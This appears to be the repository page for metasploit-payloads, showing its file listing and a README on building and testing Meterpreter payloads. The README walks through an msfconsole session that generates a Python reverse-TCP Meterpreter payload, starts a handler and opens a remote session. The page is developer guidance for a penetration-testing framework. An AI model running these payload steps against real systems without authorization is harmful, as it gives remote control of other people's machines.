No description
  • C 63%
  • Python 28.7%
  • C++ 2.4%
  • Java 2%
  • Shell 1.4%
  • Other 2.1%
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
2026-07-13 20:03:32 +00:00
.github feat: including visual studio 2022 config file 2025-08-19 09:46:58 -04:00
c/meterpreter fix: fix casing for BOFLOADER build flag in Makefile 2026-07-13 07:45:11 -04:00
docker Land #417, rename public build container 2020-06-30 07:56:21 -05:00
gem Bump metasploit-payloads to 2.0.247 2026-07-13 20:03:32 +00:00
java Merge branch 'rapid7:master' into master 2025-12-22 15:29:01 -05:00
php/meterpreter fix: IPv6 address fix 2026-03-18 17:14:35 +00:00
powershell Updated powershell extension binding IDs 2020-05-08 17:17:25 +10:00
python/meterpreter Fix the test 2025-10-07 15:37:28 -04:00
.gitignore chore(gitignore): adding .vscode in gitignore 2024-10-30 12:15:01 -04:00
.gitmodules Switch to using a submodule of TrustedSec/COFFLoader 2022-09-08 15:56:56 -04:00
appveyor.yml add initial appveyor config file 2019-01-07 16:24:35 -06:00
COPYING Add a COPYING and LICENSE file for Python 2015-10-30 15:23:00 -05:00
cortex.yaml PD-49865 set Cortex tags to identify repo exposure (#742) 2025-02-13 14:46:15 +00:00
LICENSE Bump metasploit-payloads to 2.0.223 2025-08-25 23:26:23 +01:00
Makefile Add check for debug files 2025-05-21 12:16:58 -05:00
README.md Update README for build verification (#754) 2025-05-16 13:18:00 +01:00

metasploit-payloads

Appveyor build status: Build Status

This is a unified repository for different Metasploit Framework payloads, which merges these repositories:

An alternate cross-platform C Meterpreter, called Mettle, is developed at https://github.com/rapid7/mettle

See the individual directories for meterpreter-specific README, build instructions and license details:

For Python and PHP Meterpreter, you can test changes to these files by symlinking the associated files to ~/.msf4/payloads/meterpreter. As an example, here is how this might look like for a Python Meterpreter edit:

mkdir -p ~/.msf4/payloads
cd ~/metasploit-payloads
ln -s ~/metasploit-payloads/python/meterpreter/ext_server_stdapi.py ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
file ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
       /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py: symbolic link to /home/your_user/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py

If things went right you should see a warning message when selecting one of the corresponding Meterpreter payloads and recieving a session:

msf6 > use payload/python/meterpreter/reverse_tcp
msf6 payload(python/meterpreter/reverse_tcp) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 payload(python/meterpreter/reverse_tcp) > generate -f raw -o reverse.py
[*] Writing 436 bytes to reverse.py...
msf6 payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 192.168.153.128:4444
msf6 payload(python/meterpreter/reverse_tcp) > WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/meterpreter.py is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (24380 bytes) to 192.168.153.1
WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.1:50334) at 2022-12-13 12:49:49 -0600

When making changes to Meterpreter - ensure that the test modules are verified as working.